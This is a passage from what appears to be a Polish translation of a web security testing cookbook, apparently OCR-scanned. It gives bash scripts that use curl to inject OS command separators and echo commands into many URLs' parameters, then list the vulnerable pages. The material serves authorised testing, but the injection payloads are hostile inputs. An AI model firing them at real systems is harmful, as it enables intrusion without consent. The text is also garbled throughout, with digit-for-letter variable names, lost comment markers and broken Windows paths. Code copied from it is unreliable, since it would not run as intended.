Problem
W przypadku dużej liczby adresów URL do przetestowania potrzebne jest podejście systemowe.
Rozwiązanie
W celu przetestowania bezpieczeństwa na tego typu atak uruchomiliśmy skrypt zamieszczony poniżej w dowolnej stacji roboczej, która ma możliwość dostępu do docelowej aplikacji internetowej. W tym teście zakładamy, że docelowa aplikacja działa w systemie Microsoft Windows. Jeśli działa w systemie z rodziny Unix, to trzeba zmodyfikować zmienne OUTPUTFILE oraz COM- MAND_SEPARATOR.
Skrypt służący do systemowego wyszukiwania podatności na wstrzykiwanie poleceń systemu operacyjnego
#!/bin/bash
CURL=/usr/bin/curl
Tymczasowy plik wyjściowy na docelowym serwerze WWW — należy zadbać o to, aby aplikacja internetowa miała uprawnienia zapisu w tej lokalizacji.
OUTPUTFILE='C: empvulns.txt'
OUTPUTFlLE=/tmp/vulns.txt
Plik z adresami URL do zaatakowania — po jednym w wierszu.
Dla żądań GET wiersz powinien przyjąć postać http://<host>:<port>/<ścieżka>?<parametr> =
Dla żądań POST powinien mieć format http://<host>:<port>/<ścieżka><parametr>
URLFILE=urls.txt
Separatorem poleceń w systemie Windows jest znak & (%26).
Separatorem poleceń w systemie Unix jest znak; (%3B).
C0MMAND_SEPARAT0R=%26
COMMAND_SEPARATOR=%3B
while read LINE do
Pobranie zmiennych URL i PARAMETER dla żądań POST
URL=${LINE% *}
PARAMETER=${LINE#* }
Zakodowanie zawartości zmiennej LINE w Base64, tak by można było ją bezpiecznie wstrzyknąć.
To pomoże nam w znalezieniu wrażliwego adresu URL.
LINE_ENC0DED='echo ${LINE} | perl -MMIME::Base64 -lne 'print encode_base64($_)''
INJECTI0N_STRING="%20${C0MMAND_SEPARAT0R}%20echo%20${LINE_ENC0DED}%20%3E%3E%20"
INJECTI0N_STRING="${INJECTI0N_STRING}${0UTPUTFILE}%20${C0MMAND_SEPARAT0R}%20"
if [ "${URL}" != "${LINE}" ]; then
Jeśli zmienna LINE odczytana z pliku URLFILE zawiera spację, to dotrzemy do tego miejsca.
Zgodnie z formatem pliku URLFILE wskazuje to na żądanie POST.
curl -f -s -F "${PARAMETER}=${INJECTI0N_STRING}" ${URL}
else
Jeśli zmienna LINE odczytana z pliku URLFILE nie zawiera spacji, to dotrzemy do tego miejsca.
Zgodnie z formatem pliku URLFILE wskazuje to na żądanie GET. curl -f -s "${URL}${INJECTI0N_STRING}"
fi
RETC0DE=$?
Sprawdzenie, czy nastąpiła awaria programu cURL lub serwera. if [ $RETC0DE != 0 ]
then
echo "NIEP0W0DZENIE: (curl ${RETC0DE}) ${LINE}"
else
echo "SUKCES: (curl ${RETC0DE}) ${LINE}"
fi
done < ${URLFILE}
Następnie należy zapisać skrypt zamieszczony w listingu 12.23 w pliku reveal_command_injectkm..sh na testowanym serwerze WWW i go uruchomić.
Listing 12.23. Skrypt służący do wyświetlania listy adresów URL stron podatnych na wstrzykiwanie poleceń systemu operacyjnego
#!/bin/bash
Wartość zmiennej OUTPUTFILEz wcześniejszego skryptu.
INPUTFILE=C:tempvulns.txt
INPUTFILE=/tmp/vulns.txt.
echo "Strony o poniższych adresach URL są podatne na wstrzykiwanie poleceń systemu
operacyjnego:"
while read LINE
do
LINE_DEC0DED='echo ${LINE} | perl -MMIME::Base64 -lne 'print decode_base64($_)'' echo $LINE_DEC0DED; done < ${INPUTFILE}
Należy zmodyfikować skrypt w taki sposób, by zawierał wszystkie wartości INJECTION_STRING poniższego listingu. Reprezentują one różne sposoby „cytowania" ciągów znaków, które mogą być stosowane w kodzie źródłowym aplikacji.
Testowe dane wejściowe do wyszukiwania podatności na wstrzykiwanie poleceń systemu operacyjnego
${COMMAND_SEPARATOR} echo ${LINE_ENCODED} >> ${OUTPUTFILE} ${COMMAND_SEPARATOR}
' ${COMMAND_SEPARATOR} echo ${LINE_ENCODED} >> ${OUTPUTFILE} ${COMMAND_SEPARATOR}
" ${cOMMAND_SEPARATOR} echo ${lINE_ENCODED} >> ${oUTPUTFILE} ${cOMMAND_SEPARATOR}
Oczywiście, ciągi te powinny być odpowiednio zakodowane z wykorzystaniem standardu URL-encode.
DYSKUSJA
Kod z powyższego listingu przetwarza w pętli wszystkie przekazane do niego adresy URL i przekazuje do każdego z nich ciąg testu podatności na wstrzykiwanie poleceń systemu operacyjnego. Istnieje jednak poważna subtelność, o której należy wspomnieć w tym miejscu.
Do wierszy poleceń wstrzykujemy adresy URL. Powinniśmy jednak pamiętać, że niektóre często występujące znaki w adresach URL mogą mieć specjalne znaczenie w wierszu poleceń systemu operacyjnego. Na przykład symbol ampersand (&) używany do oddzielenia parametrów w ciągach zapytań jest równocześnie separatorem poleceń w systemie Microsoft Windows. Spróbujmy zastanowić się, co mogłoby się zdarzyć, gdybyśmy spróbowali wstrzyknąć tekst poniższego listingu do aplikacji pracującej pod kontrolą systemu Microsoft Windows.
Potencjalny problem występujący w przypadku, gdy adresy URL nie są kodowane
& echo Wstrzykiwanie poleceń pod adresem http://www.example.com?param1=wart1¶m2=
>>
C: empvulns.txt
Jeśli aplikacja jest wrażliwa na wstrzykiwanie poleceń, powyższy kod może zostać przekształcony na polecenie pokazane w listingu 12.26, które w rzeczywistości tworzy trzy oddzielne polecenia pokazane w listingu 12.27.
Listing 12.26. Przykład wynikowego wiersza polecenia uzyskanego w przypadku, gdy adresy URL nie są kodowane
type C:users & echo Wstrzykiwanie poleceń pod adresem http://www.example.com?param1=wart1¶m2=>>
C: empvulns.txt.txt
Listing 12.27. Przykład wynikowych poleceń uzyskanych w przypadku, gdy adresy URL nie są kodowane type C:users
echo Wstrzykiwanie poleceń pod adresem http://www.example.com?param1=wart1 param2= >> C: empvulns.txt.txt
Żadne z poleceń z tego listingu nie pokaże, czy aplikacja jest wrażliwa na atak wstrzykiwania poleceń systemu operacyjnego. W celu rozwiązania tego problemu przed wstawieniem adresów URL w wierszu polecenia zakodujemy je w Base64. W kodowaniu Base64 są wykorzystywane wyłącznie znaki A-Z, a-z, 0-9, + i /, których można bezpiecznie używać w wierszach poleceń zarówno w systemach z rodziny Unix, jak i w systemie Windows.